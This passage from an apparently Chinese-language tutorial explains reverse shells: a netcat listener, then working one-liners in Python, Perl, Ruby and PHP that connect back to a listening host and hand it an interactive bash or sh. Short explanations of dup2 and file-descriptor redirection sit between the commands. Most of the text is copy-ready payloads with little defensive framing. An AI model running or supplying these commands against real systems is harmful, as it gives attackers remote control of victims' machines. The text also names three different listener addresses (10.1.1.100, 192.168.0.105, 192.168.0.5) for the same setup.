具体语言实现
先看python的
还是现在主机A上监听,命令nc -lvvp 123

然后主机B上执行python,命令python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.100',123)) ;os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"

此时在主机A上就收到反弹shell了

我们分析下这段脚本的内容
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.105',123)) 建立socket连接
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); 使用了os模块的dup2函数和socket模块的fileno函数
fileno函数:返回套接字的文件描述符fd,如果从shell中运行一个进程,默认会有3个文件描述符存在(0、1、2), 0与进程的标准输入相关联,1与进程的标准输出相关联,2与进程的标准错误输出相关联。
Dup2函数:dup2传入两个文件描述符,f1和f2(f1是必须存在的),如果f2存在,就关闭f2,然后将f1代表的那个文件强行复制给f2,f2这个文件描述符不会发生变化,但是fd2指向的文件就变成了f1指向的文件。这个函数最大的作用是重定向
这句的代码的作用就是将fd2指向s.fileno(),而fileno()返回的是建立socket连接返回的文件描述符fd,也就是将将标准输入、标准输出、标准错误输出重定向到远程
p=subprocess.call(['/bin/bash','-i']) 使用subprocess在本地开启子进程,同时传入“i“使得bash以交互模式启动
经过以上代码的功能整合,在主机A就相当于接收到了主机B的shell
其他语言的实现也是同样的道理,关键的点都在于建立socket连接以及之后的交互实现
1)perl语言的
perl -e 'use Socket;$i="192.168.0.105";$p=123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


2)ruby语言的
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.105","123");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


3)php语言
最简单的是利用php的exec函数直接执行第一部分的那条bash反弹的命令,不过更常见的是这条命令
php -r '$sock=fsockopen("192.168.0.5",123);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
3代表fsockopen函数建立socket连接后返回的文件描述符,在exec函数中进行重定向,其中的0,1,2分别是前面提到的标准输入、标准输出、标准错误输出。原理与前面分析的一致。

